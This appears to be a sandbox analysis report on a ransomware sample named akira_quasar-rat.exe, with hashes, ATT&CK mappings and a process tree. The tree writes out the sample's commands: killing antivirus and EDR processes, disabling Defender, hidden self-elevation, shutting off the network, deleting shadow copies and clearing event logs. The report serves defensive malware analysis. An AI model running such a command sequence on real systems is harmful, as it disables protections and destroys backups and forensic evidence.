082bab737bc9f5f79154d2b6a414ab8b58d7476963edae658abe91168d6150e7

Analysis

max time kernel
1s
max time network
8s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 03:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe
Size 11.1MB
Sample260804-d6djcscd76
SHA256 082bab737bc9f5f79154d2b6a414ab8b58d7476963edae658abe91168d6150e7
MD5 03ed7ecb95992f63a91cdbf81117db8a
SHA1 69611a3a35bcb40bb56d192996f4d1be6d0d3758
SHA512 28133c17e534ef45ace16dc9630e06921e783db1c5b69ac85e24f654d66bdb1e40f9df34ee70c3ee6f299090059e64ad28aecf893efb9f88ae7963c04402b752
SSDEEP 196608:TGpQBMgHjvlWVvElLfS4h2Yut8SnqA1D7lmDOdbh966Y:TGpQVDdcgLq4haXtmDOd1nY
TLSH
T19AC6125DBBAEF298CC36C6F71591817FE43779EA40E9B02E1E5432319E127162938CE1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution impact ransomware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
1892	wevtutil.exe
1648	wevtutil.exe
2356	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3592	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3244	netsh.exe
3272	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2224	sc.exe
708	sc.exe
1388	sc.exe
4960	sc.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2384	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3408	vssadmin.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
2856	taskkill.exe
5468	taskkill.exe
5176	taskkill.exe
1508	taskkill.exe
2968	taskkill.exe
5152	taskkill.exe
3840	taskkill.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5164 wrote to memory of 2856	5164	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	89
PID 5164 wrote to memory of 3592	5164	2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe	90

C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5164
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe' -ArgumentList '--elevated' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3592
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_03ed7ecb95992f63a91cdbf81117db8a_akira_quasar-rat.exe" --elevated
    3⤵
    PID:1516
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      PID:3840
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:5152
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:2968
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      PID:5468
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      PID:1508
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      PID:5176
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:2488
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:2472
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:1476
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:4960
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1388
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:708
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:2224
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles state on
      4⤵
      Modifies Windows Firewall
      PID:3244
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
      4⤵
      Modifies Windows Firewall
      PID:3272
  - - C:\Windows\system32\ipconfig.exe
      "ipconfig" /release
      4⤵
      Gathers network information
      PID:2384
  - - C:\Windows\system32\netsh.exe
      "netsh" interface set interface name Ethernet admin disabled
      4⤵
      PID:3032
  - - C:\Windows\system32\netsh.exe
      "netsh" interface set interface name Wi-Fi admin disabled
      4⤵
      PID:3008
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3408
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      PID:3276
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      PID:2356
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      PID:1648
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      PID:1892